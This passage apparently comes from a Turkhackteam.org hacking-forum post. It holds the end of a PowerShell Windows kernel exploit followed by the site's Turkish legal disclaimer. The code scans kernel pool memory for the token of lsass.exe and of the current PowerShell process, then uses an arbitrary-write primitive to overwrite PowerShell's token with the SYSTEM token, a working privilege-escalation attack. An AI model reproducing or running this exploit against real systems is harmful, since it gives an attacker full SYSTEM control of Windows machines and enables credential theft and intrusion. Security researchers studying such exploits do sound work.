                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
             
            if ($ProcessName -eq "lsass.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhat = $Token
                echo "`n[>] LSASS poolparty: $('{0:X}' -f $($Address+$i))"
                echo "[+] Token: $('{0:X}' -f $Token)`n"
                $PwnCount += 1
            }
             
            # Check if PwnCount is 2
            if ($PwnCount -eq 2) {
                # Overwrite PowerShell token & exit
                echo "[>] Duplicating SYSTEM token..`n"
                [System.Runtime.InteropServices.Marshal]::WriteInt64($WriteWhere,$WriteWhat)
                Break
            }
        }
    }



Logic_17.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.